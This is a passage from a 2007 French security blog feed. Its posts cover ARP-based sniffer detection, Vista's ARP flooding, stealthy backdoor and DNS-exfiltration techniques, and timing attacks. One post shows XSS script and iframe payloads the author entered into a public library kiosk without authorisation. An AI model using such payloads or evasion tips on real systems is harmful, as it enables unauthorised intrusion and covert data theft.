src="http://1.bp.blogspot.com/_ch7WAv-Jmeo/Ryn3kQlEIYI/AAAAAAAAAAs/O0yiBMBOAeA/s400/capt_arp.png" alt="" id="BLOGGER_PHOTO_ID_5127901853035798914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Capture des paquets à l'aide de Wireshark : 16 requêtes en 13 secondes!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Après quelques analyses sur d'autres machines, je peux l'affirmer, mon floodeur s'appelle Microsoft Windows Vista!! La bestiole crache dans les 80/85 paquets par minutes.&lt;br /&gt;Ce qui est étrange c'est que Vista émet des requêtes portant sur des hôtes qu'il détient en cache (vous pouvez afficher le cache arp sous windows via la commande arp -a). Il doit s'agir d'un dysfonctionnement dans le système d'entretien de ce cache mais je un bug à ce niveau est plutôt inattendu...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ch7WAv-Jmeo/Ryn3TQlEIXI/AAAAAAAAAAk/pVTMAsA2TOg/s1600-h/console.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_ch7WAv-Jmeo/Ryn3TQlEIXI/AAAAAAAAAAk/pVTMAsA2TOg/s400/console.png" alt="" id="BLOGGER_PHOTO_ID_5127901560978022770" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Dump du cache ARP sous Windows Vista&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si quelqu'un a une explication ou des informations à ce sujet je suis preneur, n'hésitez pas à poster dans les commentaires.&lt;br /&gt;En attendant cela permet une détection aisée de machines sous Vista sur un réseau, d'où le titre de l'article.&lt;br /&gt;&lt;br /&gt;Ainsi, si vous observez un important traffic ARP sur votre réseau, il peut soit s'agir d'un pirate à l'oeuvre, soit d'une machine sous Vista, dans les deux cas vous êtes confrontés à un grave problème!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-3358497842033493815?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/3358497842033493815/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=3358497842033493815&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3358497842033493815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3358497842033493815'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/11/fingerprinting-windows-vista.html' title='Fingerprinting Windows Vista'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_ch7WAv-Jmeo/Ryn3kQlEIYI/AAAAAAAAAAs/O0yiBMBOAeA/s72-c/capt_arp.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-3657960602889667051</id><published>2007-10-30T12:24:00.000+01:00</published><updated>2007-11-02T14:57:52.211+01:00</updated><title type='text'>Détection de sniffers, what about mac OS??</title><content type='html'>Suite à mon &lt;a href="http://hatch-the-hitch.blogspot.com/2007/08/sniffers-remote-detection.html"&gt;billet sur la détection à distance de sniffers&lt;/a&gt;, je me suis mis à effectuer une série de test afin de tester l'efficacité de la méthode. J'ai pû rapidement constater qu'elle était redoutable envers les systèmes Windows (9x -&gt; Vista) et Linux 2.4.x-&gt;2.6.x autant dire quasiment tous! Néanmoins, en raison de la  convergeance vers moi des regards désaprobateurs des utilisateurs de MAC OS, se sentant oubliés, voici un petit billet sur la detection de sniffers tournant sous mac OS X.&lt;br /&gt;&lt;br /&gt;Le test a été effectué en lançant tcpdump (l'installation de Wireshark a planté par un refus de l'installation de l'icone de l'application!!) sur un iBook G4.&lt;br /&gt;Tant pis pour wireshark, tcpdump fait le même boulot, pas envie de chercher le problème...&lt;br /&gt;&lt;br /&gt;Pour ceux qui seraient interessés, vous pouvez trouver wireshark pour mac &lt;a href="http://www.finkconsulting.com/page7.php"&gt;ici&lt;/a&gt;, si vous avez le même problème que moi, installez les paquets à la main (par contre c'est &lt;s&gt;super chiant&lt;/s&gt; un peu long) et lancez tcpdump dans un terminal.&lt;br /&gt;&lt;br /&gt;J'ai relié le laptop à mon pc en ethernet (bien que le programme fonctionne aussi via le wifi, en point to point). Et là miracle (ou pas miracle en fait car MAC OS X est basé sur un kernel mach, il s'agit d'un système Unix, proche d'ailleurs des BSD), je pouvais détecter, à distance, si tcpdump était lancé ou non!&lt;br /&gt;&lt;br /&gt;Petit copier/coller de la console, de deux essais, tcpdump étant lancé pour le premier et coupé pour le second. Pour ceux qui n'auraient pas lu le &lt;a href="http://hatch-the-hitch.blogspot.com/2007/08/sniffers-remote-detection.html"&gt;premier post&lt;/a&gt; de la série, une réponse de la cible à un paquet ARP transformé constitue une preuve que la machine est en mode promiscuous (capture de tous les paquets, même ceux qui ne lui sont pas destinés).&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;root@debianne:~/rsd# ./rsd -t 169.254.22.20 -i eth1&lt;br /&gt;La cible 169.254.22.20 a repondu!&lt;br /&gt;root@debianne:~/rsd# ./rsd -t 169.254.22.20 -i eth1&lt;br /&gt;root@debianne:~/rsd#&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Je commence à avoir fait le tour des principaux systèmes, et tous réagissent de la même manière à mes petits paquets ARP request bidouillés. Je pense qu'il va falloir se faire à l'idée que la méthode n'est pas trop mauvaise bien que basée sur un bug des noyaux. Si vous pouvez effectuer des tests sur des plateformes plus ou moins "exotiques" celà m'interresse grandement.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-3657960602889667051?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/3657960602889667051/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=3657960602889667051&amp;isPopup=true' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3657960602889667051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/3657960602889667051'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/10/dtection-de-sniffers-what-about-mac-os.html' title='Détection de sniffers, what about mac OS??'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-1083509192208869344</id><published>2007-10-29T09:22:00.000+01:00</published><updated>2007-10-29T10:17:30.502+01:00</updated><title type='text'>Portes dérobées nouvelle génération</title><content type='html'>Les Chevaux de Troie sont monnaie courante en ce moment et les analystes des sociétés de protection antivirale leur prédisent encore un bel avenir. Ces portes dérobées permettent à un pirate de conserver un accès sur une machine compromise, de la manipuler à distance, donc contrôler son contenu ou constituent des points d'entrée sur un réseau, permettant de compromettre d'autres machines.&lt;br /&gt;&lt;br /&gt;Le modèle "classique" consiste à binder un serveur sur un port inutilisé, et à lui envoyer des commandes qu'il exécute. Evidemment, un simple nmap révèle la présence d'un tel programme et un firewall normalement configuré bloquera l'arrivée des commandes. Suivent alors les "reverse shells", qui se connectent aux pirates, là encore la parade est aisée à mettre en oeuvre (nmap et affinage des règles des firewalls si besoin).&lt;br /&gt;&lt;br /&gt;Les portes dérobées "nouvelle génération" ont migrées là où à peu près personne ne les embête : dans les noyaux des sytèmes d'exploitation! Ces rootkits sont théoriquement indétectables (oui, je sais le débat fait rage...)&lt;br /&gt;&lt;br /&gt;Sans aller jusqu'à coder en kernelspace, vous pouvez masquer un processus en écrivant dans argv[0], la chaine que vous y mettrez sera alors le nouveau nom du processus. Vous éliminez la menace ps -A (waw!)&lt;br /&gt;&lt;br /&gt;Mais un autre facteur de furtivité est la manière de capturer les paquets contenant les commandes à exécuter. Un programme qui sniffe les paquets sans passer la carte en mode promiscuous, et qui n'écoute aucun port est indétectable par les outils actuels (à ma connaissance).&lt;br /&gt;&lt;br /&gt;Le bypass des firewall peut se faire en envoyant les commandes à un service  autorisé, et/ou en utilisant un smartspoofing si le contrôle est basé sur les adresses IP.&lt;br /&gt;&lt;br /&gt;Pour peu que les commandes soient envoyées cryptées sur le réseau, la détection de la porte dérobée devient alors "mission très improbable"!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-1083509192208869344?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/1083509192208869344/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=1083509192208869344&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1083509192208869344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/1083509192208869344'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/10/portes-drobes-nouvelle-gnration.html' title='Portes dérobées nouvelle génération'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-2211341669769737789</id><published>2007-10-06T10:58:00.000+02:00</published><updated>2007-10-11T22:21:16.059+02:00</updated><title type='text'>Javascriptus delirium tremensis</title><content type='html'>Voilà ce qui fut pour moi une découverte hallucinante. Lors d'un passage sur l'excellent "&lt;a href="http://www.0x000000.com/"&gt;Hacker webzine&lt;/a&gt;", je vis qu'il était possible d'accéder à la base de registres de Windows en JavaScript, via internet explorer. De plus, cet accès n'est pas limité (lecture à l'aide de la méthode RegRead, écriture avec RegWrite, effacement avec RegDelete). (source : &lt;a href="http://www.0x000000.com/index.php?i=443"&gt;http://www.0x000000.com/index.php?i=443&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;L'auteur présente un exemple de code permettant de désactiver le filtre anti-phishing de Internet Explorer, mais imaginez la puissance de la chose!&lt;br /&gt;En surfant avec IE (personne ne vous y oblige non plus hein...) vous hurlez à tous les sites visités votre clef d'activation Windows ou le path vers votre carnet d'adresses.&lt;br /&gt;&lt;br /&gt;Mes tests sous IE_7 montrent que ce dernier détecte tout de même un "contenu actif" et demande confirmation de l'exécution à l'utilisateur.&lt;br /&gt;D'un autre côté, pour naviguer en toute sécurité il faudrait se limiter à la lecture de contenus passifs, sans images etc... Hmmmm je vais continuer ma prise "insensée" de risques via Opera ou Firefox, selon l'humeur! Passer d'un web 2.0 à un web 0.2 n'est pas pour me ravir!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-2211341669769737789?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/2211341669769737789/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=2211341669769737789&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2211341669769737789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2211341669769737789'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/10/javascriptum-delirium-tremensis.html' title='Javascriptus delirium tremensis'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-9102843135343376075</id><published>2007-09-27T21:54:00.000+02:00</published><updated>2007-10-28T23:21:20.454+01:00</updated><title type='text'>Canaux d'évasion</title><content type='html'>Nul rapport ici avec une quelconque structure mafieuse chargée d'aider des belges à fuir en Roumanie via le mexique. Non, non, tout simplement une approche de la stéganographie sur les flux.&lt;br /&gt;&lt;br /&gt;Explications: la stéganographie (suite à un projet entammé en cours vous risquez d'en entendre parler...) désigne l'ensemble des techniques de dissimulation d'information. Contrairement à la cryptographie, qui ne cherche qu'à rendre le message incompréhensible, la stéganographie sert à le rendre assez anodin pour que l'on ne soupçonne même pas sa présence.&lt;br /&gt;Ainsi, une des techniques les plus célèbres consiste à cacher des données dans une image en utilisant uniquement les bits de poids faible de cette dernière. La différence entre l'image modifiée et l'image originale n'étant pas visible à l'oeil nu. Ceci constitue une approche de type "dissimulation de stocks", le message étant un bloc avant et après application du procédé.&lt;br /&gt;&lt;br /&gt;Cet article traite lui de la dissimulation de flux (on y arrive!). Fixons nous pour objectif d'évader un flux d'un réseau "protégé" (ou plus simplement : envvoyer des informations depuis une machine du réseau vers l'extérieur de la façon la plus discrète possible). Une condition &lt;span style="font-style: italic;"&gt;sine qua non &lt;/span&gt; porte sur l'intensité du flux. Plus celui-ci est petit, plus il sera aisé de l'évader.&lt;br /&gt;&lt;br /&gt;L'idée (lue dans le magasine MISC n°18) consiste à envoyer ces données en imitant des connections anodines, les moins surveillées possible (on oubliera donc http, souvent filtré) et standart.&lt;br /&gt;&lt;br /&gt;Un cheval de troie utilise des paquets ICMP, donc ce protocol est de plus en plus bloqué, même provenant du réseau, par les firewalls.&lt;br /&gt;Un bon protocole est le DNS. Les connections vers les port 53 sont souvent autorisées par négligence/peur des disfonctionnements. De plus, un simple utilisateur peut envoyer des paquets UDP sur le réseau, et enfin, des requêtes DNS, même répétées, n'attirent pas trop l'attention sur une grosse infrastructure.&lt;br /&gt;&lt;br /&gt;Il est néanmoins important d'effectuer au minimum un petit décalage, base64_encode ou xor sur les données s'il s'agit de texte, afin qu'elles ne soient pas lisibles directement dans un sniffer.&lt;br /&gt;&lt;br /&gt;De tels flux peuvent être très difficiles à détecter, suivre et analyser, nottament s'ils "rebondissent" sur plusieurs machines. Attention tout de même à ne pas pécher par excès de zèle, tout doit rester discret! Que l'on traite des flux ou des stocks, les concepts de base de la stéganographie restent les mêmes.&lt;br /&gt;&lt;br /&gt;Je suis actuellement à la recherche d'autres idées concernant la mise en place de réseaux furtifs (et pas uniquement cryptés). Le sujet est vaste. N'hésitez pas à me soumettre d'autres idées.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Voici un projet hébergé sur Savannah, et proposant du DNS tunelling. Ce projet est relativement originale et intéressant : &lt;a href="http://savannah.nongnu.org/projects/nstx"&gt;NSTX&lt;/a&gt; &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-9102843135343376075?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/9102843135343376075/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=9102843135343376075&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/9102843135343376075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/9102843135343376075'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/09/canaux-dvasion.html' title='Canaux d&apos;évasion'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-7173793491925259288</id><published>2007-09-20T19:40:00.000+02:00</published><updated>2007-09-20T20:10:31.453+02:00</updated><title type='text'>Danger, "browser based application"!</title><content type='html'>Cet après midi, il m'a été donné l'occasion de tester quelque chose de "nouveau". Je me suis rendu dans une bibliothèque (non, la nouveauté n'est pas là) et suis tombé sur une très jolie interface de recherche dans la base de donnée. Pris d'un réflexe quasi-compulsif, ma première recherche fut:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;"&amp;gt;&amp;lt;script&amp;gt;alert("Hello");&amp;lt;/script&amp;gt;&amp;lt;"&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Quelle ne fut pas ma surprise de voir alors l'ordinateur me saluer! L'application de recherche était, comme l'indiquait l'AlertBox, exécutée au sein d'Internet Explorer.&lt;br /&gt;&lt;br /&gt;Or cet ordinateur était complètement "restreint", j'entends par là que tout avait été fait pour que ne soient effectuées dessus QUE des recherches dans la base de données. Pourtant, je me retrouvais à pouvoir naviguer sur le web (via une iframe)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;"&amp;gt;&amp;lt;iframe src="http://www.google.fr" width=100%&lt;br /&gt;      height=100%&amp;gt;&amp;lt;"&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Je continuerais peut être l'exploration si l'occasion se présente, mais je ne serais pas étonné que l'application soit exécutée en utilisateur Administrateur et sans options de sécurité particulières.&lt;br /&gt;&lt;br /&gt;Tout cet article non pas pour inciter au piratage des bibliothèques mais plutôt pour attirer l'attention sur l'importance que peut prendre une toute petite faille XSS lorsque le contexte s'y prête. Une telle implémentation d'un moteur de recherche dans une base locale est un choix contestable.&lt;br /&gt;Pourquoi faire s'exécuter le client dans Internet Explorer? Utiliser un navigateur web comme base pour un système ne devant pas se connecter au web est clairement une erreur bien plus grossière que l'oubli de filtrer les html_entities!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-7173793491925259288?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/7173793491925259288/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=7173793491925259288&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/7173793491925259288'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/7173793491925259288'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/09/danger-browser-based-application.html' title='Danger, &quot;browser based application&quot;!'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-2552628907484856656</id><published>2007-09-16T13:17:00.000+02:00</published><updated>2007-09-22T19:28:01.281+02:00</updated><title type='text'>Detection de sniffers par méthode DNS</title><content type='html'>Toujours dans la détection à distance de sniffers, voici une méthode, implémentée dans le logiciel&lt;a href="http://www.lopht.com/antisniff"&gt; Antisniff&lt;/a&gt;, et qui m'a paru relativement intéressante.&lt;br /&gt;Antisniff est un soft multiplateforme conçu par &lt;a href="http://www.lopht.com/"&gt;L0pht Heavy Industry&lt;/a&gt; (Un groupe d'experts sécurité de Boston, auteurs du célèbrissime L0phtcrack entre autre).&lt;br /&gt;&lt;br /&gt;En plus de détecter la présence d'un sniffer, elle peut permettre de déterminer si celui-ci a été installé dans un but malveillant.&lt;br /&gt;En effet, beaucoup de sniffers "pirates" effectuent des requêtes de résolution DNS inversées (ils ont l'IP dans les paquets, ils veulent connaitre le nom de la machine) afin de cartographier le réseau et trouver des machines "intéressantes" partant du principe que beaucoup de machines sont identifiées par le service qu'elles hébergent (serveur de mail, de fichier, Desktop admin etc...).&lt;br /&gt;&lt;br /&gt;Antisniff exploite donc cette propriété en envoyant des paquets sur le réseau (non-switché) à des machines fictives et place la carte en mode promiscuous. Si il perçoit une demande de résolution DNS inverse à propos de ces machines fictives, ce peut être qu'un sniffer soit installé sur l'émetteur de la requête DNS!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-2552628907484856656?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/2552628907484856656/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=2552628907484856656&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2552628907484856656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/2552628907484856656'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/09/detection-de-sniffers-par-mthode-dns.html' title='Detection de sniffers par méthode DNS'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-6762428524504649641</id><published>2007-08-19T00:23:00.001+02:00</published><updated>2007-09-28T19:59:00.125+02:00</updated><title type='text'>Sniffers remote detection</title><content type='html'>Bien que les sniffers soient des outils d'administration et de dévelopement terriblement utiles, leur mise en place sur un réseau par des utilisateurs malveillants peut leur permettre de corrompre peu à peu toutes les machines du réseau.&lt;br /&gt;&lt;br /&gt;Ils peuvent être plus ou moins furtifs, mais la quasi-totalité fonctionnent en plaçant la carte réseau en mode promiscuous. C'est à dire en mode d'acceptation de tous les paquets qui se présentent à elle, qu'ils lui soient déstinés ou non.&lt;br /&gt;Ce peut être extrêmement difficile à détecter sur de gros réseaux si l'on n'y prend garde, mais de là à penser que c'est mission impossible il y a un pas que nous n'allons pas franchir!&lt;br /&gt;&lt;br /&gt;Sur une machine, un simple &lt;span style="font-style: italic;"&gt;ipconfig&lt;/span&gt; permettra de constater si la carte est ou non en mode promiscuous.&lt;br /&gt;Mais le problème est différent lorsque la détection doit se faire à distance, et c'est pourtant une nécessité sur de gros réseaux.&lt;br /&gt;Plusieurs approches sont possibles, mais l'une a retenu mon attention, elle est basée sur l'envoi de requêtes ARP.&lt;br /&gt;&lt;br /&gt;D'ordinaire, ces requêtes sont envoyées en broadcast (adresse MAC FF:FF:FF:FF:FF:FF). Mais si on modifie le champs "destination" en y mettant FF:FF:FF:FF:FF:FE , une machine en mode "normal" refusera le paquet, mais pas une hébergeant un sniffer.&lt;br /&gt;Passé la barrière matérielle, le paquet sera envoyé au noyau. Nous nous retrouvons alors face à une barrière logicielle. Mais il y a un bug sur les noyaux Linux 2.2-&gt;2.6 et Windows 95-&gt;Vista (vérifié pour linux 2.4 et 2.6, windows XP et Vista). Les adresses de destination ne sont pas complètement analysées, et pour le kernel, FF:FF:FF:FF:FF:FE sera identique à FF:FF:FF:FF:FF:FF. L'ordinateur nous enverra donc un paquet de type ARP reply.&lt;br /&gt;&lt;br /&gt;Il suffit alors, après l'envoi du paquet d'attendre une réponse et d'analyser les champs de cette réponse pour connaitre l'émetteur et en déduire que sa carte réseau est en mode promiscuous.&lt;br /&gt;&lt;s&gt;Je suis actellement en train d'écrire un logiciel exemple. Je posterais le code ici lorsqu'il sera fini.&lt;/s&gt;&lt;br /&gt;&lt;br /&gt;&lt;u&gt;Update&lt;/u&gt; : &lt;i&gt;Voici une première version fonctionnelle du code (&lt;a href="http://www.developing.for.free.fr/prog/rsd.zip"&gt;archive zip&lt;/a&gt;, &lt;a href="http://www.developing.for.free.fr/prog/rsd.tar.bz2"&gt;archive tar.gz&lt;/a&gt;), toute fraichement sortie de vim. Il doit y avoir pas mal de choses à revoir et optimiser. Je tacherais de trouver le temps nécessaire dans les semaines à venir.&lt;br /&gt;En attendant le code constitue un bon (j'espère) exemple d'utilisation des raw sockets.&lt;/i&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-6762428524504649641?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/6762428524504649641/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=6762428524504649641&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6762428524504649641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/6762428524504649641'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/08/sniffers-remote-detection.html' title='Sniffers remote detection'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-4885547490846964671</id><published>2007-05-30T15:37:00.000+02:00</published><updated>2007-09-15T10:07:37.649+02:00</updated><title type='text'>Timing attacks</title><content type='html'>Je suis tombé il y a peu face à une description des "Timing Attack".&lt;br /&gt;Ce type d'attaque s'en prend à la manière dont un algorithme est implémenté plutôt qu'à l'algorithme lui même. Elle consiste à analyser le temps pris par une implémentation de l'algorithme à éxecuter un jeu d'instruction dans différents cas de figure. Ainsi, on pourra détecter des noms d'utilisateurs valides ou l'état activation d'options de sécurité sur un système.&lt;br /&gt;SSH était vulnérable jusqu'en 2003. Mais aujourd'hui bien des services restent vulnérables à de telles attaques.&lt;br /&gt;&lt;a href="http://www.milw0rm.com/exploits/3303"&gt;Voici un Proof of Concept écrit en bash&lt;/a&gt;&lt;br /&gt;Bien que les timing attacks ne représentent pas un danger bien grand, coder et menerl'exploit reste très intéressant et instructif!&lt;br /&gt;&lt;br /&gt;Enjoy&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4320448935124036366-4885547490846964671?l=hatch-the-hitch.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hatch-the-hitch.blogspot.com/feeds/4885547490846964671/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=4320448935124036366&amp;postID=4885547490846964671&amp;isPopup=true' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4885547490846964671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4320448935124036366/posts/default/4885547490846964671'/><link rel='alternate' type='text/html' href='http://hatch-the-hitch.blogspot.com/2007/05/timing-attacks.html' title='Timing attacks'/><author><name>Hth</name><uri>http://www.blogger.com/profile/01628222874667479798</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.developing.for.free.fr/graphics/hats/white.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4320448935124036366.post-8751868552276340418</id><published>2007-05-29T15:37:00.000+02:00</published><updated>2008-02-10T21:35:59.733+01:00</updated><title type='text'>Aping</title><content type='html'>Aping (advanced ping programm) est un logiciel écrit intégralement en python dans le but d'effectuer des sondes ICMP (ICMP probes). Il permet à l'utilisateur de choisir entre 4 types de sondes (là où le classique utilitaire ping n'en propose qu'une). Bien que Aping soit en cours d'écriture (V 0.4alpha) il fonctionne déjà bien, offrant d'intéressantes possibilités.&lt;br /&gt;J'ai rejoint le projet il y a un mois afin de progresser en python et d'accroitre mes (maigres) connaissances à propos des réseaux.&lt;br /&gt;&lt;br /&gt;Aping permet d'envoyer des echo request ICMP probes (tel le légendaire ping), address mask requests, timestamp requests et information requests. Le fait qu'il fonctionne à 100% en ligne de commande en fait un outil aisément scriptable. Nous avons essayé d'implémenter autant d'options que &lt;s&gt;possible&lt;/s&gt; nécessaire (cf. la page de man du projet,écrite en parallèle par Kantor, l'administrateur et moi, contributeur)&lt;br /&gt;La homepage du 